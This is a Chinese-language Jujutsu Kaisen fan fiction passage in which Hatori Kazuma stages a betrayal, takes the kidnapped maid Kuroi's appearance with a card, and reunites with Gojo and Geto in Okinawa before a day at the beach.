坐在羽取一真身边的白袍人朝他微微欠身,态度恭敬。 “他说您在过去一年始终为了我等的大业而努力, 此刻终于到了行动的良机。” 孔时雨, 那就是出自他委托的那个幕后杀手的授意了。 “这样。” 羽取一真的眉心微微蹙起,很不高兴。 一个两个都藏头缩尾的,就是不敢出来与他见一面。 “接下来呢,回【星之子之家】吗,还是和孔时雨汇合?” “非也,”白袍人继续恭谨回道, “孔时雨大人说,希望我们接下来去往冲绳静候。” 羽取一真:“……冲绳?” 日本的最南边? “是, 会长的私人飞机已在机场待命。” 白袍人始终有问必答, 羽取一真闭上眼, 好似思索般安静几秒, 冷淡出声。 “打电话给孔时雨。” ………… “三千万赏金可是盘星教付给你的定金,这么豪爽的全砸下去就算了, 为什么还要特意对接活的诅咒师强调高专方有卧底?” 孔时雨打电话给伏黑甚尔时,对面隐隐传来了喧闹声,听起来像是在电视机旁,或者廉价的家庭餐厅里。 也可能二者皆有。 “那边可是有五条悟, 兼备几百年一遇的[六眼]加[无下限]术式。” 伏黑甚尔嗤笑道。 “必须要用各种手段削弱他的身体与心理状况才行, 就算用赏金钓上来的笨蛋,能做到的程度也就比普通人好上一点儿罢了。” 孔时雨:“所以, 你动用了盘星教埋下的那颗棋子?” 伏黑甚尔:“啊差不多吧,我虽然不怎么看娱乐节目,但只要随便上网搜索一下, 情报就被送到眼前了啊。” 孔时雨:“哦?” 伏黑甚尔咬着筷子含糊道:“那个叫羽取一真的,明显跟五条悟有一腿。” 孔时雨:“……” 孔时雨张大嘴,尚未抽完的半截烟掉落在地。 “哈??你从哪儿看来的消息???” 伏黑甚尔一口一个沾满酱汁与木鱼花的章鱼小丸子,腮帮子被撑得鼓鼓。 “我的眼睛啊,你在瞧不起谁呢。” 孔时雨正要反驳,但想起对方曾经那段过于丰富且混乱的感情史,瞬间又将话憋了回去,使得电话里一时呈现出某种相当诡异的安静。 “总之,你确定这样没问题?既然那个,咳,圣子,和[六眼]有一腿,你让他去暗杀[六眼],岂不是可以更加毫无防备?” 孔时雨口中这么问着,心底却清楚这种情况绝对不可能发生。 就在他前段时间见到羽取一真时,那位教祖也给了对方这个命令——而羽取一真在那时,爆发出了杀意。 从未经历过战斗的园田茂察觉不到,和杀手打过多年交道的孔时雨却感知得一清二楚。 但既然园田茂说没有异样,他自然也不可能当着教祖的面拆穿对方的说法,让那位会长大人下不来台。 毕竟,那位园田茂也是他的老顾客了嘛。 这些话孔时雨没有跟伏黑甚尔说,但后者对心理战术的使用显然早已在那些从未离他远去的厮杀中,被磨炼得更加老练与圆滑。 “哈……你可真是不懂,就算下命令让那小子杀了[六眼],他不仅不会做,还能顺势向高专方表明自己的忠心。” 伏黑甚尔吃完了章鱼小丸子,用筷子拨弄着纸船里的木鱼花玩。 “所以啊,不如就给他安排一个不得不‘背叛’的场景,提前一步揭露他的身份,给予那位[六眼]一记沉重的精神打击呢。” “在这种陷入被动的时候,就算他再如何想表明自己其实心向高专,也没人会相信了。嗯,他最明智的选择就是听命行事吧。” 孔时雨沉默片刻,诚恳夸道:“你可真是一如既往的狡诈。” 玩弄人家小情侣的感情,好没良心。 伏黑甚尔:“哈,过奖。” 孔时雨正要说什么,手机传来嘟嘟两声——是有第二个通话打了进来。 “等下,我拜托会长派出去绑架女仆的人,给我打电话过来了。” “看来计划挺顺利,就这样继续下去吧。啊,回头记得还我那三千万哦。” “说什么蠢话,你以为那是普通的匿名网站吗?你……” ——嘟。 伏黑甚尔那边掐断了电话,让孔时雨对着电话生出片刻闷气,才接了盘星教那边。 “如何?” “计划很完美,孔时雨先生。” 与他之前听到的声音不同,此刻自这部手机传来的是略低的少年音色,透着冰冷的微哑——经过电流信号转换后有轻微失真,但并没有影响那股居高临下的气势分毫,令孔时雨心里下意识一紧。 “羽取?” 而后,他才想起对方不过是个十六、七岁的少年,怎么会需要拿出对待教祖的态度来对待他? “是我。” 羽取一真淡淡回道。 他乘坐的车队仍旧飞驰在高速道路上,很快就要到达机场。 “既然孔时雨先生发来命令,我自然会协助他们完成。但到时要去往冲绳何地,需要盘星教做什么,希望孔时雨先生的指示能更明确一些。” 原来是想向他打探接下来的计划安排。 甚至还得防着他提前将计划透露给高专那边的风险……不,透露了也没关系吧,伏黑的唯一目标只是削弱五条悟的精神,像绑架人质进行交换这种举动,成功了固然一步到位、皆大欢喜,但没成功其实也无所谓。 伏黑想要的是他们同伴之间的关系被凿出裂痕后,迎来互相厮杀、两败俱伤的结果。 但这些算盘自然不能跟羽取一真明说。 孔时雨斟酌着话语,先在脑海里过了遍什么能跟羽取一真讲,什么不能讲之后,才开口说道。 “去冲绳是为了消耗往返路途中的时间,就算互换人质不成功,也有可能让高专方来不及赶在同化之日前抵达天元大人的所在。” 羽取一真淡淡应了声,示意孔时雨接着往下讲。 “至于到时候将交易地点定在哪里,全凭圣子大人拿主意即可,您拥有调用盘星教资源的权力。何况,我相信我们的目标是一致的。” 听到[能调用盘星教资源的权力]这句,羽取一真抬眼看向举着免提手机的那个白袍人,获得了肯定的答复。 “这样,我知道了。” 他说完这句话后,便示意白袍人挂断电话。 羽取一真是想赶在上飞机前向孔时雨打探之后的计划,但既然对方说全凭他决定,那么孔时雨就没用了。 换句话来说,他接下来的可操作空间,已然足够大。 “等上飞机后,我需要给大家开个会。” ………… 廉直女子学院附近,其中一栋高楼天台之上。 “还以为这次应该能成功来着……” 再度发动术式逆转失败的五条悟,无奈扒拉了两下头发,倒也没有显得特别沮丧。 “电话,电话。” 旁边的天内理子小声提醒他口袋里有传来震动的声音。 “啊,是邮件啦。” 五条悟从口袋里拿出手机,熟练地单手翻开,点击阅读。 [你相信我吗,悟? ——from: 一真] “突然在说什么傻话呢那家伙,我有什么时候说过不相信他的话吗?” 五条悟困惑歪过脑袋,好想现在就把这个家伙抓到面前来,刨根究底问问他到底哪点突然觉得没有安全感了啊! 不会就是刚才被粉丝围追堵截吧? 怎么想都不太可能,算了,现在就把这只黑豆柴抓来拷问一下。 “我记得一真刚才是在靠近校门口的地方……” 五条悟转身就要往回赶去,却又感觉到手机的震动——这次还同步传来了铃声。 是夏油杰的电话。 “噢差点把杰给忘了,”五条悟接起电话,“你在一真旁边吗?快点赶过来啦,既然天内被暗网通缉了,我们就这样直接回高专比较保险。” 但与五条悟轻快的口吻不同,夏油杰的声音沉重,甚至透着平日从未有过的迷惘。 “悟……我要说的事情就是这个。一真其实是盘星教的人,他把黑井抓走了,要用小理子来换。” 空气突然寂静下来,唯有电流信号的嗡鸣声响起在二人耳畔。 五条悟:“…………你在说什么?” “我没有在开玩笑,一真刚才被一群白袍人恭敬的喊【圣子大人】,然后就这么簇拥着离开了。黑井也被他们绑走了。” 夏油杰按着鼻梁,想不通为什么局势会突然这样急转直下,羽取一真原来早就是盘星教那边安插过来的卧底。 “然后呢,一真的目标是杀了天内,阻止天元同化?” 五条悟的声音传来,罕见的听不出任何情绪。 身边的天内理子听不见夏油杰那边说的话,却因五条悟这边的总结而大吃一惊,脱口而出。 “什么,一真大人要杀我?” 一真大人就和悟大人同样,是喜欢他们的粉丝会叫出口的称呼。 让五条悟没忍住好笑的往她这边撇了一眼。 都听到他说的话了,还下意识喊[一真大人]呢。 “我想,应该是这样。” 夏油杰闭上眼睛,“抱歉,我当时没能出手……” “不是你的问题,杰。” 五条悟深吸口气,闭上苍瞳再睁开时,情绪迅速冷静下来。 “既然要交换人质,有指明要我们去哪里吗?” 夏油杰摇头。 “还不清楚,一真那边没有信息发过来。” 即使羽取一真突然背叛了他们,夏油杰却也仍旧称呼他为[一真]。 这同样意味着,夏油杰也不愿意相信羽取一真已经站在了他们的对立面。 五条悟在天台来回踱了两步,干脆开了免提,让天内理子也能听见对话内容。 “如果是要求用天内换黑井,那就安排天内先去高专,让硝子或者另外的人来假扮她就可以了吧。” “大概不行,”夏油杰提醒,“你别忘记了,一真是见过小理子的,他一眼就能认出假扮者。” “等一下,我要去!”天内理子也立刻抗议,“我也要去交易现场!” 五条悟朝她这边看过来,停顿片刻后,才缓慢叹出口气。 “虽然我很想夸海口说自己能保护住你,但一真的术式其实是比较克制我的那种哦?最坏的后果就是你一到达交易现场,即刻就会被一真找机会杀掉。” 天内理子闻言怔了下,随即咬紧牙关,寸步不让。 “教会学校里的生活并不算有趣,大家能被允许讨论的娱乐话题也不多。但就算这样,我和我的朋友们依旧有看过你们的节目、传阅过采访杂志、买来唱片一起听,甚至连演唱会的录播也没有落下。” “我可能并不了解他的真实性格,也不知晓他的过往,但我们都清楚他对你的感情。” “只要是会让你不高兴的事情,我就不相信一真大人会去做。” 五条悟听到这里,微微睁大了苍瞳——那双好似清湛琉璃的漂亮晴空,如此清晰的穿过了往日隔在二人之间的荧幕与纸张,望着天内理子,令她失了片刻神,又再度挺起胸膛。 “难道,你不相信他吗?” 说完这句接近于质问的话,天内理子心底还忐忑了下,生怕真惹到五条悟不高兴。 但他只讶然片刻,便朝她笑起来。 是一如既往的骄傲、自信,没有任何困扰能牵绊住他的意气风发。 “你在开什么玩笑呢,我比这世上的任何人都相信他。” [你相信我吗,悟? ——from: 一真] [当然啊,你这呆瓜。] 第134章 当车队停在机场时, 羽取一真先发制人,直接下命令不需要这么多人全挤上飞机。 这是会长大人的私人专机,不是什么票价免费的公共交通。 “人太多也是累赘, 你们自己商量一下, 留四个人跟我登机。” 站在舷梯羽取一真居高临下,望向这些白袍人的神情淡漠。 “我先提醒你们,在冲绳大概率会发生不死不休的战斗。我对上他们或许尚有一战之力,但身为普通人的你们将是必死无疑。” “为此,我允许你们内部选好甘愿为天元大人付出性命的人,再由他们来见我。” 看见这些白袍人内部产生了轻微的哗然与骚动, 得到预期效果的羽取一真便收回目光,转身进入机舱。 他压根不认识这些白袍人, 索性任由他们自己去选四个人, 等上飞机了再召集起来开会。 至于被绑架的黑井美里, 他们会负责将她从轿车后备箱里带上来的。 羽取一真挑了张椅子坐下, 闭目养神没等多久,便有四位白袍人进入飞机——其中一人扛着仍旧昏迷的黑井美里。 “圣子大人……” “嗯, ”羽取一真睁开眼,“确定了是你们?” “是,其他人都……” 另一人欲言又止,没敢继续说下去。 “无妨, 先摘下兜帽吧, 让我熟悉下你们。” 羽取一真特意这么要求道,并看着这四张陌生的面孔——很好, 从表情上看都比较冷静,应该不是宗教狂热分子。 在明知必死的情况下还愿意上来,如果不是狂热宗教分子, 大概率就是被许诺了能在事后给予家人的丰厚报酬。 保险起见,可以再试探一下。 “如果你们后悔跟我上飞机,现在还有退出的机会。” 羽取一真让自己的口吻温和下来,更平易近人一些。 “毕竟,想想你们的亲人和朋友。我不会强求你们跟我一起走。” 这两句话说得在场四人都有点动容。 “感谢圣子大人,” 其中一人站出来——羽取一真看了眼【社交】界面,名字叫岩原明——声音透出几份难言的激动。 “既然会长大人已经许诺将我等的亲人当作他自己的亲人来对待,我等就算赴死也甘愿!” 很好,果然如此。 羽取一真上半身前倾,也努力做出好似被他们的慷慨陈词所感染了般的表情,轻轻点头。 “我敬佩你们的决心。” 飞机舱门缓缓关闭,所有通讯设备都必须关机,以免产生的电磁干扰到飞机的通讯和导航系统。 这架飞机配备有两名空乘人员,拥有相当专业的服务态度与为雇主严格保密的契约精神,哪怕看见黑井美里被五花大绑捆着昏倒在地上,也能面带微笑的将她扶到座椅上坐好,系牢安全带。 在飞机滑行起飞后,她们还来问羽取一真是否有什么需要。 空乘精准看出了年纪最小的羽取一真才是这几位中的领头人。 “不用,你们先回去休息,我和其余人需要开一个会,无论听见什么动静都不要出来。” 羽取一真轻轻摇头,并在目送她们彻底看不见后,转向另外四人。 “我有一个能保你们不死的方案。” 只用一句话,就用希望重新点燃了他们已经灰暗的内心。 “是……是什么方案?” 岩原明的声音都有点颤抖。 如果能有活下来的办法,大家自然没有人想死…! “我想你们也隐约清楚,咒术师都有各自的战斗技能,其名为[术式]。” 羽取一真不紧不慢的开始说道。 岩原明想了想,“就像我们来的时候,看到有一栋大楼的玻璃突然碎了吗?当时就隐约感觉是什么东西突然从外部撞了进去……” 突然撞进去,应该是悟的[苍]吧。 羽取一真点头:“没错,而我的技能,或者说是术式,即为[完全模拟他人的外貌]。” 四人顿时发出一阵小声的惊叹,大概是觉得他们的圣子大人简直太厉害了。 但紧接着,反应过来羽取一真想要做什么的四人,将目光转向了仍旧昏迷的黑井美里。 “那么,您是指……” “嗯,”羽取一真淡淡道,“我在咒术界潜伏了一年,对他们那边的战力情况再清楚不过。不怕你们笑话,其实就连我也没信心能打赢五条悟,更别说杀掉在他保护之下的天内理子。” “更何况,对方也知道我们更想要的是天内理子。一旦他们决定舍弃黑井美里,那么就同样可以找人假扮天内理子,让真正的天内理子待在高专。如此一来,就是我们在白白浪费时间。” 四人边听边点头,承认圣子大人分析得确实很有道理。 “所以,圣子大人是想自己假扮黑井美里,然后假装让她被五条悟救回去,这样的话……” 羽取一真颔首接话道:“不仅五条悟那边会放下戒心,天内理子在同化前,也一定会和这位相处多年的看护人道别。我就可以趁那时发起突袭,杀掉天内理子。” 这份计划听上去堪称完美无缺,除了一人坚决反对。 “我不允许你这样对待大小姐,你这个可恶的混账!” 醒来的黑井美里一听这种阴损的计划,整个人都快被气炸了,在座椅上疯狂挣扎。 “大小姐真是看错你了,亏她还喜欢你,拿你当她的偶像!” “偶像?”岩原明众人疑惑看向羽取一真。 “咳,只是之前的逢场作戏而已,不值一提。” 羽取一真轻咳一声,示意他们再把黑井美里打晕。 “我的术式发动条件之一是需要她活着。等下飞机后,你们就带着她去酒店开个房间……有没有哪里的酒店位置比较隐蔽,不怎么惹人瞩目的那种?” “我以前来这里度过假,”四人中的其中一人举手,“蒂努沙滩那边有一家姆卡民宿,位置比较偏僻,客人比较少,价格也合适。” 得知了名字,羽取一真便也不纠结,让他们下飞机就带黑井美里过去。 “好,就那里吧,你们两个人带她过去,两个人跟着我。” 至于他…… 羽取一真从怀里——实则是物品栏里——取出那张[八相轮卡],解开安全带,来到黑井美里的身旁。 按照系统的使用说明,他将这张仅有人物剪影的卡片贴在黑井美里的额头,选择【镶嵌】。 在浅淡的灿金碎光芒闪过之后,卡片上多出了黑井美里的人物剪影。 八个卡槽被占去一个。 接着,羽取一真选择发动目标为自己。 为了保证变身时长,他在使用时直接耗空了咒力量。 这次,是他的周身旋绕起无数灿金碎粒,耀眼得几乎让围观这四人睁不开眼——等这阵夺目辉光消散之后,取代圣子大人出现在原地的,便已成了面无表情的[黑井美里]。 “噢……!” 眼看这变戏法似的场景真正出现在眼前,四人不由齐刷刷发出惊叹声。 这竟然是真正能实现的事情啊! “等会来排练下台词,” [黑井美里]冷淡开口——即使[八相轮卡]连女仆装都被完美复刻了出来,羽取一真那压倒性的气场却仍旧独一无二。 “别害我穿帮了。” ………… 东京,晚上九点。 “邮件来了!啊,是用黑井的手机发来的!” 五条悟、夏油杰和天内理子,三人都始终紧张兮兮盯着自己的手机——直到天内理子捧着自己的那部,率先发出高呼。 “嘁,怎么是发给你……” 五条悟顿时就拉着张脸凑过去,“写了什么?” “明日上午九点,准时在冲绳的古宇利岛上进行交易?那是哪里?” 天内理子逐字逐句念出邮件内容,但从未去过冲绳的的她对最后那个地名感到困惑。 “冲绳岛群内一个知名度挺高的观景小岛,大概就直径八公里那么大。” 夏油杰紧盯自己的手机,边头也不抬地回答了天内理子的疑问。 “怎么了,杰?” 五条悟疑惑他的反应。 夏油杰:“一真也给我发了邮件。” 五条悟:“………” 五条悟动作飞快地来回翻开又合上自己的手机,又退出再打开收件箱进行刷新,确定里面依旧空无一物。 别说给他发邮件,连之前他回过去的邮件也没有应答! “哈!?凭什么只给你们两个人发邮件啊!” 五条悟顿时气得跳脚。 “给我也发一封怎么了嘛!!” 夏油杰的目光默默上移,盯着在那里被气到虚空抓挠的五条悟,缓慢打出一串代表无语的省略号。 这种事情有什么好计较的啊。 “他让我明天到冲绳后,去一个地点接人。” 夏油杰将手机揣回口袋。 “找借口离队,全程独自行动,绝对不能被任何人发现。” ——这倒不算是什么困难的事,因为天内理子的悬赏还在暗网上挂着。 第二天早上,五条悟他们一下飞机,就先让夏油杰装模作样的派出去了一大群低阶咒灵。 等他们往交易地点走了几步,夏油杰就立刻面色凝重的说有几只咒灵被祓除了,可能是为了悬赏而盯上小理子的诅咒师。 于是,他顺理成章的脱离了队伍,一路上都从枝叶茂盛的棕榈树丛里穿行,避开所有人,独自来到邮件里的地址。 即使这样做其实是极危险的行为,夏油杰也愿意赌上这份信任,完全按照羽取一真的指示行动。 他相信羽取一真不会害他。 在快到那间民宿前,夏油杰神色凝重的绕开酒店服务人员,选择自建筑物侧方乘坐鬼蝠鲼咒灵,先飞至对应房号的窗口,谨慎确认内部的情况。 ……被绑起来的黑井美里?! 夏油杰错愕几秒,骤然望向古宇利岛的方向。 那悟他们要去交易的对象,是谁? ——这个问题,五条悟也想问出口。 他盯着眼前这位被两个白袍人押送的[黑井美里],一时之间,脸上竟然不知道该摆出什么表情。 “我们完好无损的把人带来了,你也看见了。怎么说,要不要换?” 其中一位白袍人抬起手,借着宽大衣袖的遮掩,将一把手枪形状的物体抵在[黑井美里]的太阳穴上。 “不换的话,就让她直接去死好了,反正我们也用不上这女人。” 五条悟还没有出声,察觉到异常的天内理子先喊了出来。 “不对,黑井明明” ——但话才出口,就被站在她身前的五条悟反手一把捂住嘴,剩下的话全部都被迫吞了回去。 “哼,你说换就换啊,做不得数吧大叔。你那边领头的呢,羽取一真去了哪里?” 五条悟单边眉梢一挑,毫不客气的开口问道。 “圣子大人自然已回到盘星教。” 白袍人冷傲道,“你们还没有与他见面的资格。” “——哈,这样啊,那我就放心了。” 五条悟伸出手,嘴角逐渐上扬,直至朝他们露出一个相当狂气的张扬笑容。 “放心的把你们通通都揍一顿!” 第135章 双方计划都进行得很顺利。 岩原明很高兴圣子大人按照预订计划混进了护卫队伍里, 甚至没有引起他们的半分警觉。 五条悟很高兴他们救回来了[黑井美里]——天内理子虽然满脑袋问号——但并不影响他的好心情。 他轻轻松松就将这两个连术师都不是的绑架犯揍了一顿,再按照流程随便拷问了下,就打电话喊灰原雄那边帮忙过来把人带走。 为了保证机场不被盘星教这帮人破坏, 导致无法在时限结束前完成天元同化, 高专方在得知绑架分子的交易地点后,也立即派出了一年级的灰原雄和七海建人过来看守。 被活力满满的灰原雄带走前,鼻青脸肿的岩原明还跟另一同伙眉来眼去,在心里暗暗感动。 圣子大人说的果然没错,他们身为非术师,只要不当着高专的面搞出性质恶劣的人命罪行来, 五条悟就不能轻易对他们动手。 等圣子大人按照预订计划杀掉天内理子后,就会再用他的术式, 想办法救他们出来。 一切都交给您了, 圣子大人! 岩原明对着[黑井美里]的背影, 心底暗暗为他呐喊助威。 至于站在五条悟和天内理子面前的[黑井美里], 直面那双苍瞳不加掩饰的端详与打量时,只能以乖巧低头来应对。 摘下墨镜的五条悟盯着这位[黑井美里], 嘴角一扯,露出一个相当诡异难言的笑容来。 “唷—黑井——怎么样啊,有没有哪里受伤啊?” 这语调七拐八绕的,尾音还上扬, 硬是听不出半点紧迫与关心的情绪来。 倘若是不知情的人, 还以为五条悟在刻意刁难[黑井美里]。 “你刚才怎么不让我说话,眼前这人怎么看都不是黑井……!” 天内理子则气鼓鼓的盯着[黑井美里], 双手摆出防御架势——她一眼就认出这家伙是个冒牌货,偏偏五条悟刚才捂着她嘴不让说! 她都能认出来,五条悟肯定也能认出来, 但他还是坚持“救出”了黑井…… “啊我懂了,你是不是想私下再拷问这个冒牌货?” 天内理子的头顶灯泡霎时一亮,随即就被五条悟抬手一按脑袋,好似按开关似的,又将那盏亮起的灯泡给关上了。 “说什么呢,这是黑豆……咳,这是一真啊。” 天内理子:“…………” 天内理子瞪大眼,认真盯着眼前这位已经开始有点局促的[黑井美里]——连身高都和黑井一模一样哇,但是羽取一真可是比她高了足足一个脑袋的,这竟然也能完美模仿? 天内理子:“……我不信。” “是真的。” [黑井美里]有点赧然地咳出声,没想到一个照面就被悟认了出来。 但[八相轮卡]的模拟确实十分完美,外貌、气味、体重、声音,就连咒力都达到了百分之百复制——只要他不使用技能,就没有任何破绽。 天内理子听着连声音都一模一样的[黑井美里],再想起性别都跟她不同的羽取一真。 再看一眼[黑井美里],再回想下羽取一真。 天内理子的头发都快惊到整个竖起来。 “……骗鬼哇!!” 而后被五条悟一手压在她那颗近乎炸毛的脑袋瓜上,用力揉了揉安抚。 “我还不知道你有这个本事,怎么能伪装得这么像?[六眼]甚至没能分辨出你原本的咒力气息。” 五条悟轻哼出声,拉长着脸面对这位套着黑井美里外壳的羽取一真。 “好厉害哦,圣子大人。” 羽取一真:“………” 啊,是闹脾气小悟,也好可爱…… 羽取一真小声和他解释:“我以前获得过一张卡牌咒具,这是它的效果。” 他飞快的说完这个咒具效果,又眨着可怜巴巴的黑瞳看向五条悟,轻轻哄了一句。 “抱歉,不是故意不跟你说的,我在来高专以前被定下了[束缚]。这次身份暴露也是他们的命令。” “这样哦——” 五条悟努着嘴望向远处海面,好似正在评估自己该不该原谅羽取一真。 但苍瞳微微一转,看见眉眼间透出格外忐忑的[黑井美里],又绷不住那副要对他进行兴师问罪的表情,愉快笑了起来。 “好吧,我就先勉为其难看你接下来的表现了。” 口中说着“勉为其难”,实际上已经抬手就想习惯性地去搂羽取一真的脖颈——结果捞了个空。 五条悟看了眼自己的手,再看向比他矮一个脑袋、导致刚才他的小臂直接从头顶扫过去的[黑井美里]。 双方都陷入了沉默:“………” 哎呀,忘记羽取一真现在是黑井女仆了,身高都跟着大缩水! 五条悟正想将手的高度跟着放低,又被天内理子推了回去。 “这是黑井!”天内理子小声警告他,“你怎么能揽着黑井,要是被来冲绳玩的粉丝目击到的话该怎么办啊!” 当心引发大众舆论哇! “……”五条悟愣了下,才恍然道,“啊抱歉,不自觉就……” 他一眼就认出了[黑井美里]是羽取一真,导致对待他的态度就下意识按照以前的模式来了,完全忘记这家伙当前的外貌是另外一人。 “盘星教那边不知道你有这个咒具?”五条悟好奇道。 “嗯,”羽取一真点头,“我骗那四个人说这是我的术式效果。后续有办法清除他们的记忆吗?” 高专不会对非术师进行灭口,但就这么直接放回去,总归是个隐患。 不仅不能让孔时雨那边得知他可以模拟他人外貌,更重要的是教祖也知晓他真正的术式并非这个,想要糊弄过去就很麻烦。 实在不行,也只有让他偷偷的来…… “放心吧,高专在这方面经验丰富。毕竟偶尔目击者太多,普通的借口已经无法解释时,他们也只能从记忆下手了。” 听到羽取一真的顾虑,五条悟冲他眨了下单眼,笑得坏坏。 “但你要怎么感谢我呢?啊,不如等变回原本的外貌后,再穿一次女仆装给我看看吧?” 羽取一真:“……” 羽取一真默默捂住脸:“不会穿的……换个要求。” “欸——要看嘛,要看要看——” “真的不行……” 去找夏油杰汇合的回程路上,[黑井美里]和五条悟分别走在最外侧,天内理子被他们夹在中间。 ——但即便如此,天内理子也莫名感觉自己头顶不停的有粉红泡泡飞来飞去。 不能往右边看啊理子,绝对不能往右边看! 否则充斥在视野内的,就是面无表情的黑井和笑得格外开心的悟大人在黏黏糊糊的打情骂俏……! 天内理子默默深吸口气,在对话停顿的间隙抓紧时机开口:“那个,黑井…还好吗?” 她相信羽取一真不会真的对黑井美里下手,但还是想知道对方此刻的下落。 “别担心啦,你忘记杰收到的邮件吗?应该就是去救黑井的。” 心情很好的五条悟摊开一只手,姿态放松。 就是猜出了羽取一真的计划,他才对黑井美里的安危并不感到担忧呢。 “嗯,”[黑井美里]点头,“如果杰相信我,那么黑井就不会过来,而是直接动身去往某个安全的地方。” “安全的地方?”天内理子一惊,“不是高专吗?” “我不觉得高专很安全,”[黑井美里]淡淡道,“还有真正的杀手一直潜伏在某处,伺机而动。” 五条悟:“哦?会比我还要强吗?” [黑井美里]蹙起眉毛:“我不太确定。但对方非常谨慎,始终没有暴露身份。既然能有这份谨慎,我不认为杀手会对悟的情报一无所知。” 明知五条悟的强大还会接下这份委托,那个杀手必定拥有能够对付他的自信。 “——嗯,确实如此。” 五条悟捏着下巴沉吟半晌,承认羽取一真说的有道理。 他只是对自己的实力很有自信,但并不等于自负;相反,他自上飞机开始,[无下限]的术式就始终保持着开启状态——仅在捂嘴天内理子和摸她脑袋安抚时,才短暂解开了一会。 天内理子也怔住片刻,发现自身的危机原来并没有远去。 但是这样一来,她在同化前,就没办法再见到真正的黑井了吧…… 天内理子正要开口说些什么,便见到夏油杰往这边匆匆赶来,神色急切——但视线一偏就瞥见站在她身边的[黑井美里],跟他刚才救出来的那位一模一样。 已经到嘴边的大段台词顿时都被尽数噎了回去,夏油杰满脸震惊。 “这…?!!!” “别太大声了杰,万一有眼线在监视我们这边呢?” 然后就被五条悟竖起指头嘘了回去,要他赶紧把这副表情收一收。 “欸……” 夏油杰登时一愣,之前打好的腹稿立刻又有了用武之地。 “诅咒师已经被我解决了,人数比我想象中得多,稍微花了点时间,抱歉抱歉。没想到回来就看见黑井小姐也被成功救出来了啊,真是太好了,悟,小理子!” 夏油杰边一本正经的演戏,边用眼神示意[黑井美里]这是什么情况。 “这是一真,他有一张能模拟外貌的卡牌咒具。”五条悟压低声音,语速飞快的解释道,“现在我们就当他,不对,她是黑井美里。” 夏油杰:“………好。” 什么咒具啊,竟然有这么离谱的效果,难以置信…… 现在是中午,冲绳岛上的游客人来人往,实在不方便讨论事情。 而且,大家这一路赶得太着急,也没怎么好好吃东西。 于是便由五条悟拍板做决定,四人找了家比较偏僻的餐馆,又挑了个没人的角落坐下点单,再经过[六眼]侦查确定附近没有诅咒师后,才终于放心的小声交流起情报。 天内理子先问出最关心的问题:“黑井怎么样了?” 夏油杰:“黑井被我救出来了,她也按照一真的安排,乔装打扮后买了张航班最近的机票离开冲绳。” 天内理子终于安心的吐了口气。 就算以后都见不到黑井了,她也希望黑井一定要平安无事。 五条悟也小声问道:“一真知道杀手的计划吗?” [黑井美里]摇头:“孔时雨只让我要求你们来冲绳交易,并没有被告知后续要做什么。” 五条悟揣起手:“既然杀手这么谨慎,竟然会不禁止我来人质交易现场?这主意太傻了,怎么想都说不通。嗯……莫非是打算破坏交通,防止我们在同化前赶回去?” 而且,还是在一真的主导下……他们既然调查过情报,怎么可能会不知道他和一真的关系。 ……莫非是想挑拨离间?不是吧,就用这种身份对立的白痴手段?他又不高兴演什么《罗密欧与朱丽叶》。 在羽取一真思索时,夏油杰先摇头:“冲绳作为度假胜地,对外交通非常便利。如果敌人要这样大费周章的把我们引过来,再破坏交通设施,还不如在最初就要求我们去交通极度不发达的地方做交易。” 五条悟:“是啊,再说我们也能派人在机场守着。而且,他们怎么能笃定我们一定会带天内过来?” 在暗处的杀手始终都没有暴露身份,到目前为止的行为也只挂出了针对天内的悬赏,以及要求羽取一真绑架黑井、在冲绳进行交易。 对方到底想做什么? 讨论有点陷入僵局,四人围坐着琢磨半晌,决定先填饱肚子。 “既然这样,按照普通人的思维,我们应该马上买机票回程,前往目的地高专。那个杀手没准也会针对这一点进行设计。” 五条悟夹起一块寿司时,脑海中灵光一现。 “那我们就偏不走,在冲绳这里玩上一天——没错,我们下午就换衣服去泡海水浴,还要捡贝壳和打排球!” 众人惊讶看向兴致高昂的五条悟。 安静片刻后,羽取一真默默出声。 “该不会,其实是悟想泡海水浴……” “——啰嗦,玩只是顺带的啦!” 第136章 虽然在同化快要到来前的下午去玩海水浴这种事情, 听起来格外有些不靠谱,但众人都认可五条悟的思路。 倘若每一步都被暗处的敌人牵着鼻子走,那么他们的处境也未免过于被动。 正因如此, 在敌人以为他们会紧赶慢赶的回到高专时, 他们就偏不这么做——不仅如此,五条悟还兴致勃勃的带着众人去挑泳衣。 那双由于兴奋而显得亮晶晶的苍瞳,尤其期待的盯着羽取一真。 模拟成黑井美里的羽取一真:“……” [黑井美里]面无表情片刻,沉默吐出一个字。 “不。” 五条悟立刻顺杆往上爬,在泳衣店里给他做起推荐——那件粉色的短款碎花泳裙尤其是首选款,尝试用车轱辘话给他洗脑的态度比导购还要殷勤得多。 “穿这个嘛, 多可爱啊,穿吧穿吧, 多适合你啊, 你穿肯定很合适的。” 看热闹不嫌事大的夏油杰也在旁边煽风点火。 “是啊是啊, 你穿肯定很合适的, 来试试看吧。” 看着[黑井美里]被两个男高中生围着推荐泳衣的天内理子:“………” 很怪,总之这一幕就是非常奇怪。 羽取一真当然不可能真的为了满足悟的恶趣味而换上泳衣——他选择了最保守的度假衬衫加短裤, 中性风格,男女穿都没有问题。 结账时,五条悟发出了好响亮的一声“嘁”。 羽取一真假装没听见。 与新年时期的镰仓那又冷又潮湿的海边不同,冲绳位于日本最南边, 眼下又是春季, 砂金色沙滩吸饱了阳光那份热烈的温度,踩上碧蓝无垠的海水却又十分冰凉, 连吹起衣摆的海风都仅令人感觉凉爽。 天内理子从没有来到过离家如此遥远的海边。 灿金的阳光、透白的柔软沙滩、湛蓝的海天一线,深绿的阔叶棕榈,姹紫嫣红的花丛——无数种浓郁的鲜亮颜色交织在一处, 令她目不暇接,几乎每样东西都要仔细瞧个不停,发出赞叹的声音。 好似在这十几年压抑且枯燥的生活里,今日才是这个世界第一次真正向她敞开了大门。 “挖蛤蜊!挖蛤蜊!” 五条悟也陪着她欢呼着,在沙滩上跑来跑去,热衷于用海星、寄居蟹和各种稀奇古怪的海洋生物吓她一跳。 羽取一真也想跟他们一起玩,但夏油杰坚定的按住了他。 “黑井小姐可是很稳重的,”夏油杰压低声音说,“我生怕你玩得太开心,跟悟勾肩搭背的回来……” 那场景要是被敌人的眼线看见,任谁也不会相信这是黑井美里吧。 羽取一真:“………” 夏油杰说得太有道理,让他不得不全程端正坐在野餐布上,只有那双黑瞳始终追随着五条悟——热忱的、真挚的,足以令对方也回身转过目光来,朝他露出一个灿烂笑意。 于是,羽取一真便抿起嘴,胸口充盈着某种棉花糖般膨胀开来的安定感。 安定而满足。 旁边的夏油杰撑着脑袋,撇过视线,脸上写满了[救命这两人腻歪得他受不住]。 